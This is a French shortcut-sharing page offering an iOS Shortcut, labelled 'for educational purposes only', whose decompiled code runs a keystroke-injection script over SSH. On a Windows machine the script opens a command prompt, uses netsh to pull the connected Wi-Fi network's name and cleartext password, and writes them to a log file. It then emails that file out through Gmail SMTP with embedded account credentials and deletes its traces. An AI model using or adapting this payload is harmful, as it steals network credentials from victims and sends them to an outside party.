Scanne avec ton iPhone pour installer
FOR EDUCATIONAL PURPOSES ONLY
Nouveautés
Version 1.0
First release
Ce qu’il fait
2 actions-
Show Alert
-
Run Script Over SSH
Afficher en tant que code
Chaque action de ce raccourci écrite en Cherri, un langage de programmation pour Raccourcis. Idéal pour comprendre son fonctionnement.
#include 'actions/network'
#define color red
confirm("Do you want to continue? You might want to reconsider! (Not responsible for any damage that occurs to your or others property, you herby agree that you are responsible for all damages by using this shortcut). Copyright qwertyuiop 2022\n")
runSSHScript("DEFAULT_DELAY 10 \nREM delays 100ms between each subsequent command sequence\n\nDELAY 2000\nWINDOWS d\nREM --> Open cmd\nWINDOWS r\nDELAY 500\nSTRING cmd\nENTER\nDELAY 1000\nREM --> Change directory (you can change this to something else to make less visible)\nSTRING cd \"%USERPROFILE%\Desktop\"\nENTER\nREM --> Get SSID\nSTRING for /f \"tokens=2 delims=: \" %A in ('netsh wlan show interface ^| findstr \"SSID\" ^| findstr /v \"B\"') do set SSID=%A\nENTER\nREM --> Get network type\nSTRING netsh wlan show profiles %SSID% | findstr \"Network type\" | findstr /v \"broadcast\" | findstr /v \"Radio\">Temp.txt\nENTER\nSTRING for /f \"tokens=3 delims=: \" %A in ('findstr \"Network type\" Temp.txt') do set NETTYPE=%A\nENTER\nREM --> Get authentication\nSTRING netsh wlan show profiles %SSID% | findstr \"Authentication\">Temp.txt\nENTER\nSTRING for /f \"tokens=2 delims=: \" %A in ('findstr \"Authentication\" Temp.txt') do set AUTH=%A\nENTER\nREM --> Get key\nSTRING netsh wlan show profiles %SSID% key=clear | findstr \"Key Content\">Temp.txt\nENTER\nSTRING for /f \"tokens=3 delims=: \" %A in ('findstr \"Key Content\" Temp.txt') do set KEY=%A\nENTER\nREM --> Delete Temp.txt\nSTRING del Temp.txt\nENTER\nREM --> Create Log.txt\nSTRING echo SSID: %SSID%>>Log.txt & echo Network type: %NETTYPE%>>Log.txt & echo Authentication: %AUTH%>>Log.txt & echo Password: %KEY%>>Log.txt\nENTER\nREM --> Mail Log.txt\nSTRING powershell\nENTER\nSTRING $SMTPServer = 'smtp.gmail.com'\nENTER\nSTRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)\nENTER\nSTRING $SMTPInfo.EnableSsl = $true\nENTER\nSTRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'hudson17');\nENTER\nSTRING $ReportEmail = New-Object System.Net.Mail.MailMessage\nENTER\nSTRING $ReportEmail.From = '[email protected]'\nENTER\nSTRING $ReportEmail.To.Add('[email protected]')\nENTER\nSTRING $ReportEmail.Subject = 'WiFi'\nENTER\nSTRING $ReportEmail.Body = 'The log is attached!' \nENTER\nSTRING $ReportEmail.Attachments.Add('Log.txt')\nENTER\nSTRING $SMTPInfo.Send($ReportEmail)\nENTER\nSTRING exit\nENTER\nREM --> Delete Log.txt and exit\nSTRING del Log.txt & exit\nENTER", nil, Ask, "", Ask, "", Ask)
Ouvrir dans Cherri Playground
Décompilé avec cherri 2.3.0 (GPL-2.0). Quelques corrections peuvent être nécessaires avant la compilation.
Notes et avis
Écrire un avis–
sur 5
★★★★★
★★★★
★★★
★★
★
0 ratings
Aucun avis pour le moment. Sois le premier à partager ton avis !
Publicité
Plus de qwertyuio
Ça pourrait aussi te plaire
Publicité